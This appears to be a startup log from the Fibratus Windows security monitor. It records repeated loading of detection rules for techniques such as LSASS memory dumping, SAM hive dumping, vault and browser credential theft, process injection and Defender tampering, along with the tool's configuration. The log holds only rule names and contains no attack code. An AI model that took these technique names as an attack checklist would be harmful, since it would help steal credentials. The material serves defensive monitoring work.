C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-10T17:53:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-10T17:53:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-10T17:53:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-10T17:53:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-10T17:53:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-10T17:53:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-10T17:53:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-10T17:53:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-10T17:53:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-10T17:53:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-10T17:53:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-10T17:53:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-10T17:53:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-10T17:53:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-10T17:53:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-10T17:53:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-10T17:53:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-10T17:53:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-10T17:53:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-10T17:53:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-10T17:53:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-10T17:53:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-10T17:53:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-10T17:53:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-10T17:53:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-10T17:53:29+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-10T17:53:29+01:00 level=info msg=bootstrapping with pid 10236. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-10T17:53:29+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ systray=>[ sound=>true enabled=>false quiet-mode=>false] eventlog=>[ enabled=>true verbose=>true] slack=>[ enabled=>false] mail=>[ port=>25 enabled=>false to=>[] use-template=>true content-type=>text/html]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>false] + event .......................... [ serialize-pe=>false serialize-threads=>false serialize-images=>false serialize-envs=>true serialize-handles=>false] + eventsource .................... [ blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] flush-interval=>1s enable-vamap=>true enable-thread=>true buffer-size=>512 enable-threadpool=>false enable-image=>true stack-enrichment=>true enable-audit-api=>true min-buffers=>16 enable-dns=>false enable-fileio=>true enable-handle=>false enable-net=>true enable-registry=>true max-buffers=>36 enable-mem=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] match-all=>true] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ formatter=>text max-size=>100 level=>info max-backups=>15 log-stdout=>true max-age=>0] + output ......................... [ http=>[ tls-insecure-skip-verify=>false serializer=>json method=>POST endpoints=>[] enabled=>false enable-gzip=>false timeout=>5s] eventlog=>[ enabled=>false level=>info] elasticsearch=>[ template-name=>fibratus healthcheck=>true bulk-workers=>1 healthcheck-timeout=>5s servers=>[http://127.0.0.1:9200] enabled=>false index-name=>fibratus gzip-compression=>false healthcheck-interval=>10s flush-period=>1s timeout=>5s sniff=>false trace-log=>false] amqp=>[ vhost=>/ exchange-type=>topic durable=>false passive=>false timeout=>5s delivery-mode=>transient enabled=>false url=>amqp://localhost:5672 tls-insecure-skip-verify=>false routing-key=>fibratus exchange=>fibratus] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + enabled=>true format=>pretty]] + pe ............................. [ read-sections=>false read-symbols=>false enabled=>false read-resources=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] trim=>[ enabled=>false] replace=>[ enabled=>false] remove=>[ enabled=>false params=>[]] rename=>[ enabled=>false]] + yara ........................... [ scan-timeout=>10s excluded-procs=>[] skip-mmaps=>false skip-registry=>false fastscan=>true rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] enabled=>false excluded-files=>[] skip-allocs=>false skip-files=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-10T17:53:29+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-10T17:53:32+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-10T17:54:00+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-10T17:54:00+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-10T17:54:01+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-10T17:55:53+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-10T17:55:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-10T17:55:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-10T17:55:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-10T17:55:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-10T17:55:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-10T17:55:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-10T17:55:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-10T17:55:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-10T17:55:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-10T17:55:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-10T17:55:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-10T17:55:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-10T17:55:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-10T17:55:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-10T17:55:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-10T17:55:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-10T17:55:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-10T17:55:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-10T17:55:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-10T17:55:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-10T17:55:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-10T17:55:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-10T17:55:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-10T17:55:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-10T17:55:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-10T17:55:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-10T17:55:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-10T17:55:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-10T17:55:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-10T17:55:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-10T17:55:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-10T17:55:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-10T17:55:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-10T17:55:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-10T17:55:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-10T17:55:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-10T17:55:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-10T17:55:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-10T17:55:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-10T17:55:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_creation_from_stomped_module.yml source=config/filters.go:355 +time=2025-11-10T17:55:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-10T17:55:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-10T17:55:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-10T17:55:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-10T17:55:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-10T17:55:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-10T17:55:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-10T17:55:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-10T17:55:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-10T17:55:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-10T17:55:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-10T17:55:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-10T17:55:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-10T17:55:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-10T17:55:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-10T17:55:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-10T17:55:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-10T17:55:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-10T17:55:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-10T17:55:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-10T17:55:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-10T17:55:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-10T17:55:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-10T17:55:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-10T17:55:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-10T17:55:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-10T17:55:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-10T17:55:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-10T17:55:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-10T17:55:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-10T17:55:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-10T17:55:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-10T17:55:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-10T17:55:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-10T17:55:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-10T17:55:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-10T17:55:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-10T17:55:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-10T17:55:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-10T17:55:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-10T17:55:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-10T17:55:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-10T17:55:53+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-10T17:55:53+01:00 level=info msg=bootstrapping with pid 15332. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-10T17:55:53+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ enabled=>false to=>[] port=>25 content-type=>text/html use-template=>true] slack=>[ enabled=>false] systray=>[ quiet-mode=>false enabled=>false sound=>true] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>false] + event .......................... [ serialize-images=>false serialize-handles=>false serialize-envs=>true serialize-threads=>false serialize-pe=>false] + eventsource .................... [ flush-interval=>1s enable-image=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] stack-enrichment=>true enable-dns=>false enable-vamap=>true enable-fileio=>true enable-thread=>true min-buffers=>16 enable-threadpool=>false enable-net=>true enable-mem=>false max-buffers=>36 buffer-size=>512 enable-handle=>false enable-registry=>true enable-audit-api=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[] enabled=>true] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-backups=>15 log-stdout=>true formatter=>text max-size=>100 level=>info max-age=>0] + output ......................... [ amqp=>[ routing-key=>fibratus enabled=>false tls-insecure-skip-verify=>false url=>amqp://localhost:5672 vhost=>/ passive=>false durable=>false exchange=>fibratus timeout=>5s delivery-mode=>transient exchange-type=>topic] console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} +] http=>[ method=>POST endpoints=>[] enable-gzip=>false enabled=>false serializer=>json tls-insecure-skip-verify=>false timeout=>5s] eventlog=>[ enabled=>false level=>info] elasticsearch=>[ servers=>[http://127.0.0.1:9200] flush-period=>1s healthcheck-timeout=>5s healthcheck-interval=>10s enabled=>false gzip-compression=>false index-name=>fibratus sniff=>false template-name=>fibratus trace-log=>false healthcheck=>true timeout=>5s bulk-workers=>1]] + pe ............................. [ read-sections=>false read-resources=>false read-symbols=>false excluded-images=>[svchost.exe] enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] replace=>[ enabled=>false] trim=>[ enabled=>false] remove=>[ params=>[] enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ skip-files=>false enabled=>false skip-mmaps=>false scan-timeout=>10s excluded-files=>[] skip-registry=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] excluded-procs=>[] skip-allocs=>false fastscan=>true] source=bootstrap/bootstrap.go:185 +time=2025-11-10T17:55:53+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-10T17:55:56+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-10T17:56:33+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-10T17:56:33+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-10T17:56:34+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-10T18:03:00+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-10T18:03:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-10T18:03:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-10T18:03:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-10T18:03:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-10T18:03:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-10T18:03:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-10T18:03:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-10T18:03:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-10T18:03:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-10T18:03:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-10T18:03:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-10T18:03:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-10T18:03:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-10T18:03:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-10T18:03:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-10T18:03:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-10T18:03:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-10T18:03:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 